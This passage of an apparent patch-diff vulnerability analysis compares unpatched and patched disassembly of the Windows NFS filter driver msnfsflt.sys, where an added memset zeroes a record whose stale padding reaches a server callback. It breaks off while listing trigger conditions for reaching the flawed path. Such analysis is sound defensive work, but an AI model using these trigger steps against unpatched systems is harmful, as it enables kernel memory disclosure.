&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009E4A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;shr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;Ch&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009E4D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009E50&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;shl&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009E53&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;or&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009E55&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_80&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; record+0x10 flags field&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009E58&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;shl&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009E5B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;FFFFFF6Fh&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009E60&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;or&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009E62&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;or&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009E65&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_80&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009E68&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;; rcx = a1&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009E6B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;MsNfsFltOperationBegin&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009E70&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009E72&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;js&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0009EA6&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009E74&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; a1[8] = server callback pointer&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009E78&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009E7B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0009E91&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; no callback -&amp;gt; skip&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009E7D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;; a2 != 1 ?&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009E81&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0009E91&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009E83&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;38&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; a1[7] = callback context&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009E87&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_90&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; rdx = &amp;amp;record (padding still stale)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009E8B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__guard_dispatch_icall_fptr&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; CFG-dispatched call of a1[8](a1[7], &amp;amp;record)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009E91&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009E94&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;MsNfsFltOperationComplete&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009E99&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0009EA6&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The indirect call at &lt;code&gt;0x1C0009E8B&lt;/code&gt; goes through the Control Flow Guard dispatch stub (&lt;code&gt;__guard_dispatch_icall_fptr&lt;/code&gt;); the actual target is the pointer loaded from &lt;code&gt;[rdi+0x40]&lt;/code&gt; at &lt;code&gt;0x1C0009E74&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Patched &lt;code&gt;MsNfsFltNotifyServerOfBlockingFileOpen&lt;/code&gt; (&lt;code&gt;0x1C0009DA8&lt;/code&gt;)&lt;/h3&gt;
&lt;p&gt;The patched prologue adds the &lt;code&gt;memset&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009DCE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r15d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r15d&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009DD1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;; r14 = a3&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009DD4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;; rsi = a2&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009DD7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;160&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009DDC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;; rdi = a1&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009DDF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;FileInformation&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009DE3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xorps&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;xmm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;xmm0&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009DE6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;FileNameInformation&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009DEA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009DEC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="no"&gt;Ch&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; r8 = 0x4c  (memset size)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009DF0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;; edx = 0    (fill byte)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009DF2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_30&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009DF6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_90&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; rcx = &amp;amp;record ([rbp-0x30])&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009DFA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movups&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_40&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;xmm0&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0009DFE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;memset&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;; memset(&amp;amp;record, 0, 0x4c)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;After this call, offsets &lt;code&gt;+0x04&lt;/code&gt; and &lt;code&gt;+0x14&lt;/code&gt; are zero before the record builder runs at &lt;code&gt;0x1C0009FB9&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Patched &lt;code&gt;MsNfsFltPostOpCreate&lt;/code&gt; (&lt;code&gt;0x1C000A080&lt;/code&gt;)&lt;/h3&gt;
&lt;p&gt;The same fix at the second site, at the very top of the function:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000A0A9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;; Val = 0&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000A0AB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000A0AE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;57&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_70&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; &amp;amp;record&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000A0B2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="no"&gt;Ch&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; Size = 0x4c&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000A0B6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;memset&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;; memset(&amp;amp;var_70, 0, 0x4c)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The unpatched &lt;code&gt;MsNfsFltPostOpCreate&lt;/code&gt; (&lt;code&gt;0x1C0008BB0&lt;/code&gt;) has no equivalent zeroing before its builder call at &lt;code&gt;0x1C0008D25&lt;/code&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Ensure Services for NFS is installed and &lt;code&gt;msnfsflt.sys&lt;/code&gt; is loaded and attached.&lt;/li&gt;
&lt;li&gt;From a shell, &lt;code&gt;fltmc&lt;/code&gt; should list the NFS filter.&lt;/li&gt;
&lt;li&gt;A registered NFS server callback is required for the callback-delivery path. Registration is performed by the NFS redirector service via &lt;code&gt;MsNfsFltRegisterServer&lt;/code&gt;. The callback path requires:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;
&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Create or identify a target file on a filtered volume.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;For the &lt;code&gt;STATUS_SHARING_VIOLATION&lt;/code&gt; path, open the file once with exclusive sharing:&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
